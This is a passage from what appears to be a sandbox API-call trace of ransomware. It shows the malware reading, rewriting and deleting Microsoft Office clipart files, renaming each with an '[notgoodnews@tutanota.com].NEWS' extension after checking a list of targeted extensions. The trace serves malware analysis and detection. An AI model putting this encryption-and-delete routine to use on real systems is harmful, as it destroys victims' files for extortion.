out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.731] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.731] SetEndOfFile (hFile=0x364) returned 1 [0093.731] CloseHandle (hObject=0x364) returned 1 [0093.732] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.732] SetEndOfFile (hFile=0x390) returned 1 [0093.732] CloseHandle (hObject=0x390) returned 1 [0093.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.733] lstrlenW (lpString=".doc") returned 4 [0093.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.733] lstrlenW (lpString=".docx") returned 5 [0093.733] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.733] lstrlenW (lpString=".pdf") returned 4 [0093.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.733] lstrlenW (lpString=".xls") returned 4 [0093.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.733] lstrlenW (lpString=".xlsx") returned 5 [0093.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.733] lstrlenW (lpString=".ppt") returned 4 [0093.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.733] lstrlenW (lpString=".zip") returned 4 [0093.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.733] lstrlenW (lpString=".rar") returned 4 [0093.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.733] lstrlenW (lpString=".bz2") returned 4 [0093.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString=".7z") returned 3 [0093.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString=".dbf") returned 4 [0093.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString=".1cd") returned 4 [0093.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString=".jpg") returned 4 [0093.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString=".doc") returned 4 [0093.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString=".docx") returned 5 [0093.734] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.734] lstrlenW (lpString=".pdf") returned 4 [0093.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString=".xls") returned 4 [0093.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.734] lstrlenW (lpString=".xlsx") returned 5 [0093.734] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.734] lstrlenW (lpString=".ppt") returned 4 [0093.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.734] lstrlenW (lpString=".zip") returned 4 [0093.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.734] lstrlenW (lpString=".rar") returned 4 [0093.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString=".bz2") returned 4 [0093.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.734] lstrlenW (lpString=".7z") returned 3 [0093.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.735] lstrlenW (lpString=".dbf") returned 4 [0093.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.735] lstrlenW (lpString=".1cd") returned 4 [0093.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0093.735] lstrlenW (lpString=".jpg") returned 4 [0093.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.735] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.735] lstrlenW (lpString="J0105286.WMF") returned 12 [0093.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.735] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6568) returned 1 [0093.735] CloseHandle (hObject=0x390) returned 1 [0093.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0093.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.736] GetLastError () returned 0x0 [0093.736] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0093.973] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0093.974] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.974] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.974] SetEndOfFile (hFile=0x364) returned 1 [0093.975] CloseHandle (hObject=0x364) returned 1 [0093.975] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.975] SetEndOfFile (hFile=0x390) returned 1 [0093.976] CloseHandle (hObject=0x390) returned 1 [0093.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0093.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.976] lstrlenW (lpString=".doc") returned 4 [0093.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.976] lstrlenW (lpString=".docx") returned 5 [0093.976] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.976] lstrlenW (lpString=".pdf") returned 4 [0093.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.976] lstrlenW (lpString=".xls") returned 4 [0093.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.976] lstrlenW (lpString=".xlsx") returned 5 [0093.976] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.976] lstrlenW (lpString=".ppt") returned 4 [0093.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.976] lstrlenW (lpString=".zip") returned 4 [0093.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.977] lstrlenW (lpString=".rar") returned 4 [0093.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString=".bz2") returned 4 [0093.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString=".7z") returned 3 [0093.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString=".dbf") returned 4 [0093.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString=".1cd") returned 4 [0093.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString=".jpg") returned 4 [0093.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString=".doc") returned 4 [0093.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString=".docx") returned 5 [0093.977] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.977] lstrlenW (lpString=".pdf") returned 4 [0093.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString=".xls") returned 4 [0093.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.977] lstrlenW (lpString=".xlsx") returned 5 [0093.977] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.977] lstrlenW (lpString=".ppt") returned 4 [0093.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.977] lstrlenW (lpString=".zip") returned 4 [0093.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.977] lstrlenW (lpString=".rar") returned 4 [0093.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.977] lstrlenW (lpString=".bz2") returned 4 [0093.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.978] lstrlenW (lpString=".7z") returned 3 [0093.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.978] lstrlenW (lpString=".dbf") returned 4 [0093.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.978] lstrlenW (lpString=".1cd") returned 4 [0093.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0093.978] lstrlenW (lpString=".jpg") returned 4 [0093.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.978] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.978] lstrlenW (lpString="J0105368.WMF") returned 12 [0093.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.978] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=12380) returned 1 [0093.978] CloseHandle (hObject=0x390) returned 1 [0093.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0093.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.980] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.980] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.981] GetLastError () returned 0x0 [0093.981] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x305c, lpOverlapped=0x0) returned 1 [0093.983] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3060, lpOverlapped=0x0) returned 1 [0093.984] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.984] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.984] SetEndOfFile (hFile=0x364) returned 1 [0093.984] CloseHandle (hObject=0x364) returned 1 [0093.984] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.984] SetEndOfFile (hFile=0x390) returned 1 [0093.985] CloseHandle (hObject=0x390) returned 1 [0093.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0093.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.986] lstrlenW (lpString=".doc") returned 4 [0093.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString=".docx") returned 5 [0093.986] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.986] lstrlenW (lpString=".pdf") returned 4 [0093.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString=".xls") returned 4 [0093.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.986] lstrlenW (lpString=".xlsx") returned 5 [0093.986] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.986] lstrlenW (lpString=".ppt") returned 4 [0093.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.986] lstrlenW (lpString=".zip") returned 4 [0093.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.986] lstrlenW (lpString=".rar") returned 4 [0093.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString=".bz2") returned 4 [0093.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString=".7z") returned 3 [0093.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.986] lstrlenW (lpString=".dbf") returned 4 [0093.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.987] lstrlenW (lpString=".1cd") returned 4 [0093.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.987] lstrlenW (lpString=".jpg") returned 4 [0093.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.987] lstrlenW (lpString=".doc") returned 4 [0093.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.987] lstrlenW (lpString=".docx") returned 5 [0093.987] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.987] lstrlenW (lpString=".pdf") returned 4 [0093.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.987] lstrlenW (lpString=".xls") returned 4 [0093.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.987] lstrlenW (lpString=".xlsx") returned 5 [0093.987] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.988] lstrlenW (lpString=".ppt") returned 4 [0093.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.988] lstrlenW (lpString=".zip") returned 4 [0093.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.988] lstrlenW (lpString=".rar") returned 4 [0093.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.988] lstrlenW (lpString=".bz2") returned 4 [0093.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.988] lstrlenW (lpString=".7z") returned 3 [0093.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.988] lstrlenW (lpString=".dbf") returned 4 [0093.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.989] lstrlenW (lpString=".1cd") returned 4 [0093.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0093.989] lstrlenW (lpString=".jpg") returned 4 [0093.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.989] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.989] lstrlenW (lpString="J0105376.WMF") returned 12 [0093.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.990] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4964) returned 1 [0093.990] CloseHandle (hObject=0x390) returned 1 [0093.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0093.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.990] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.990] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.991] GetLastError () returned 0x0 [0093.991] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1364, lpOverlapped=0x0) returned 1 [0093.992] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1370, lpOverlapped=0x0) returned 1 [0093.994] ReadFile (in: hFile=0x390, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.994] WriteFile (in: hFile=0x364, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.995] SetEndOfFile (hFile=0x364) returned 1 [0093.995] CloseHandle (hObject=0x364) returned 1 [0093.995] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: 